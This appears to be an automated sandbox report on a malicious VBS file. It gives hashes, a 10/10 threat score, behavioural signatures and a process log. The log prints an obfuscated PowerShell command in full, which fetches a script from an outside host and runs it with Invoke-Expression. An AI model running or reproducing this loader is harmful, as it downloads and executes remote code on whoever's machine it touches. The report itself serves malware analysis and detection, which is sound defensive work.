Analysis
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max time kernel
892s -
max time network
901s -
platform
windows7_x64 -
resource
win7-20220331-en -
submitted
13-04-2022 19:07
Static task
static1
Behavioral task
behavioral1
Sample
HWGYLCBITDLEFLATIXCZS.vbs
Resource
win7-20220331-en
windows7_x64
0 signatures
0 seconds
General
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Target
HWGYLCBITDLEFLATIXCZS.vbs
-
Size
3KB
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MD5
e9cc67f9dc37b896f40ee439da6e4c38
-
SHA1
ca2e75b9a9828ed85d126ea89937272449b3b123
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SHA256
414566a9fa390bf5414ecfd83484acc8bf24824086f1f350cb7e0f8c5a37c48f
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SHA512
208a6cb226cb1097b63cda7e8e5f982ca2866d6690fce63e4ecee688edc657d8fcc5986ee9720dc4bff80a9b0b6220336b52adc3503b07944cb2ed69b21ddff4
Score
10/10
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1684 968 powershell.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1684 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1684 powershell.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HWGYLCBITDLEFLATIXCZS.vbs"1⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $SSLGBFHPYGWJOSVOSAXSOI = '[S</%12(}(3%!97^-)604175EM.I12%<*5&{^114^3(+(239$8MREAdER]'.Replace('</%12(}(3%!97^-)604175','ySt').Replace('12%<*5&{^114^3(+(239$8','O.StREA');$OSXYPCZAVJGVPJKCCOIRGP = ($SSLGBFHPYGWJOSVOSAXSOI -Join '')| .('{1}{0}'-f'EX','I');$BACQWYOKUYXPPAAAYSGKSH = '[SyS36^{5*+\__(+!0*]!74^+*T.W$4!/#&{]{%20(\_!@#+0^_ST]'.Replace('36^{5*+\__(+!0*]!74^+*','TEm.NE').Replace('$4!/#&{]{%20(\_!@#+0^_','EbREquE');$VLOPCCVJLTABAEOPZHLLUP = ($BACQWYOKUYXPPAAAYSGKSH -Join '')| .('{1}{0}'-f'EX','I');$EQRAEEEFHESLXKSSOJGAXF = 'Cr)#-8%2!@$/36)-^3)%[8-=TE'.Replace(')#-8%2!@$/36)-^3)%[8-=','Ea');$FLNDLCBQWUUJIOYRAXLXDD = 'GE9)4#(![(]#$3252)+]$<+4onSE'.Replace('9)4#(![(]#$3252)+]$<+4','tRESp');$YOUCSWTBCHGKPSZLDUSJQL = 'GE!7@}+-]*)#7+8(-0%8@!5\REam'.Replace('!7@}+-]*)#7+8(-0%8@!5\','tRESponSESt');$RIROKYAAOQNNTDPHRCXRLA = 'RE8+8(-=8%7@+_+<$0-\78^{nD'.Replace('8+8(-=8%7@+_+<$0-\78^{','aDToE'); .('{1}{0}'-f'EX','I')($OSXYPCZAVJGVPJKCCOIRGP::new($VLOPCCVJLTABAEOPZHLLUP::$EQRAEEEFHESLXKSSOJGAXF('https://mygi.info/tmp/LAO.txt').$FLNDLCBQWUUJIOYRAXLXDD().$YOUCSWTBCHGKPSZLDUSJQL()).$RIROKYAAOQNNTDPHRCXRLA())1⤵
- Process spawned unexpected child process
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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memory/1684-54-0x000007FEFBBD1000-0x000007FEFBBD3000-memory.dmpFilesize
8KB
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memory/1684-55-0x000007FEF35D0000-0x000007FEF412D000-memory.dmpFilesize
11.4MB
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memory/1684-56-0x00000000029F0000-0x00000000029F2000-memory.dmpFilesize
8KB
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memory/1684-57-0x00000000029F2000-0x00000000029F4000-memory.dmpFilesize
8KB
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memory/1684-58-0x00000000029F4000-0x00000000029F7000-memory.dmpFilesize
12KB
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memory/1684-59-0x00000000029FB000-0x0000000002A1A000-memory.dmpFilesize
124KB